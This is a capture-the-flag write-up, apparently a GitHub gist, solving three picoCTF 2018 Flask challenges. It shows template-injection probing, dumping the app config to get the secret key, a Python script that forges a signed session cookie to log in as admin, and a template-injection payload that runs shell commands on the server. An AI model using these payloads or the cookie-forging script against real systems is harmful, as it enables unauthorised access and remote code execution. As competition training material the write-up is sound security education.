Skip to content

Instantly share code, notes, and snippets.

@kawing-ho
Last active October 12, 2018 12:43
Show Gist options
  • Save kawing-ho/1f594558e0e8e148a46cc84d1a51b616 to your computer and use it in GitHub Desktop.
Save kawing-ho/1f594558e0e8e148a46cc84d1a51b616 to your computer and use it in GitHub Desktop.
Solutions to a series of web challenges of increasing difficulty surrounding Flask vulnerabilities

Summary / TL;DR

I played in picoCTF again this year, and I think I performed a lot better than I did last year, especially in web, I wanted to share this writeup because I think I did a good job being the 75th person (out of like 5000 other players) to solve the final part of this series of web challenges.

  1. Flaskcards (350 pts)
  2. Flaskcards Skeleton Key (600 pts)
  3. Flaskcards and Freedom [Highest point web challenge] (900 points)

Flaskcards

Description / Hints / URL

We found this fishy website for flashcards that we think may be sending secrets. Could you take a look?

- Are there any common vulnerabilities with the backend of the website?
- Is there anywhere that filtering doesn't get applied?
- The database gets reverted every 2 hours so your session might end unexpectedly. Just make another user

Thought Process

Based on CTF playing experience, the challenge and flavourtext always gives hints about the vulnerability or at least a starting point. In this case Flask is a dead giveaway that it has something to do with the Flask webserver.

After registering and logging in, we are shown a navbar that gives us a bit more hinting. navbar

Ccreate Cards -- Allows users to enter input and save it
List Cards -- Shows the saved input that was entered beforehand
Admin -- Not important for this challenge, used in further challenge

As an example:
list-create

Some experienced CTF players may know straight away what to do at this point, if not then well this is a sign of user input being reflected, which could be a few things, notably Cross Site Scripting (XSS) or Server-Side Template Injection (SSTI)

Exploitation

First thing I tried was XSS because why not ?
xss-attempt Unfortunately the payloads were being escaped so by rule of elimination the other thing left to try was SSTI !

Not going to go into how SSTI works but essentially your input gets evaluated and the result is returned, not good for keeping secrets ...

Here is an example probing payload:
4times4

Flag

The flag is most likely stored in the SECRET_KEY variable maintained internally by Flask, so we can use {{ config }} to dump out all the variables:
configz

Flaskcards Skeleton Keys

Description / Hints / URL

Nice! You found out they were sending the Secret_key: a155eb4e1743baef085ff6ecfed943f2. Now, can you find a way to log in as admin? http://2018shell1.picoctf.com:53588 .

- What can you do with a flask Secret_Key?
- The database still reverts every 2 hours

Thought Process

This one took me awhile because I wasn't sure what I was doing wrong, but actually the answer is very staright forward ! The key is given to us: a155eb4e1743baef085ff6ecfed943f2.

We first grab the existing non-admin session cookie off the site which is something like this:

.eJwlj0FqBDEMBP_i8x5kWZKl_cxiWRIJgQRmdk8hf8-EXPpQUFD93R515PnW7s_jlbf2eI92b7lpOq4eXfRvd-7IBCumiY7AfZqEuoGn8dC9zcVrsefM6nP0cCcX6oUhwaZwsQEohmYlqbvzSMWpnQxh0NDFQLpIAGy1W9vnUY_n10d-Xj2Kw124XC1SKbUWGImHYueShUzqscblvc48_k90aD-_1SE-cQ.DqESzA.6Di3_tN-krfQX-10KZLnH9ncisw

It goes without saying that when we visit the /admin page we don't get the flag, at least not yet ...

We know that secrets are usually used to sign cookies and a quick search on the interwebz gives us a nice and easy program to decrypt and encrypt our own cookies using the key :)

Exploitation

After some slight modification and experimenting the (cleaned-up) version of the script I used was:

#!/usr/bin/python

import hashlib
from itsdangerous import URLSafeTimedSerializer
from flask.sessions import TaggedJSONSerializer
salt = 'cookie-session'
serializer = TaggedJSONSerializer()

secret_key = "a155eb4e1743baef085ff6ecfed943f2"
cookie_str = ".eJwlj0FqBDEMBP_i8x5kWZKl_cxiWRIJgQRmdk8hf8-EXPpQUFD93R515PnW7s_jlbf2eI92b7lpOq4eXfRvd-7IBCumiY7AfZqEuoGn8dC9zcVrsefM6nP0cCcX6oUhwaZwsQEohmYlqbvzSMWpnQxh0NDFQLpIAGy1W9vnUY_n10d-Xj2Kw124XC1SKbUWGImHYueShUzqscblvc48_k90aD-_1SE-cQ.DqESzA.6Di3_tN-krfQX-10KZLnH9ncisw"

signer_kwargs = {
    'key_derivation': 'hmac',
    'digest_method': hashlib.sha1
}

s = URLSafeTimedSerializer(secret_key, salt=salt, serializer=serializer, signer_kwargs=signer_kwargs)

print "=== User u ==="
print s.loads(cookie_str)
print ''

manipulate = s.loads(cookie_str)
manipulate['user_id'] = '1'.decode('utf-8')

print "=== MANIPULATED ==="
print manipulate
print ''
print s.dumps(manipulate)
print "======================="

The decrypted cookie had a user_id value which would determine whose session you logged in as, I kept failing because I was going after user_id 0 which is usually the admin, but I guess sometimes 1 is worth a try as well

The manipulated cookie was:

.eJwlj0FqBDEMBP_i8x4kWZKl_cxiWTIJgQRmdk8hf8-EXPpQUFD93R77qPOt3Z_Hq27t8Z7t3mrxCJqYqPa3q1ZWgW_hQUEgOFzTwiHKpdtaHhp7StSojaNjRnAo46bUFDe4WAdSJ_etZQull9EwZCfo3G0KsE1WAJ_t1tZ57Mfz66M-rx6jHqGywzzLuGxPcNZII5Stk4QtcvbLe511_J_A9vMLlu8-QQ.DqETSg.MoGOf2Esi4EScYNpa8Y_hOikdbQ

By copying this value into the clipboard and repasting into a cookie editor, we can now visit the /admin page to get the flag ~

Note: The cookie should NOT have a trailing newline, as this causes the cookie to not be parsed properly !

Flag

flag2

Flaskcards and Freedom

Description / Hints / URL

There seem to be a few more files stored on the flash card server but we can't login. Can you? http://2018shell1.picoctf.com:52168

- There's more to the original vulnerability than meets the eye.
- Can you leverage the injection technique to get remote code execution?
- Sorry, but the database still reverts every 2 hours.

Thought Process

Again, the title gives us a hint of what to do ... Freedom relates to sandbox escaping, or in this case we just need to get Remote Code Execution (RCE) somehow, in the 2nd challenge the templating bug was patched but is reintroduced again in this challenge. Therefore we know that this is a chance to do more SSTI stuff !

I'm really glad I took extended WebApps because I learnt how to do exactly this type of challenge, to learn how I constructed the payload, these two pages (1) (2) may help out ...

Exploitation

After much experimentation and failure, the final crafted payload I managed to get working was this:

{{[].__class__.__base__.__subclasses__()[111].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat flag").read()') }}

Flag

After submitting this to Create Card our commands would be reflected back to us, it was as simple as doing ls followed by cat flag to obtain the flag !
image

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment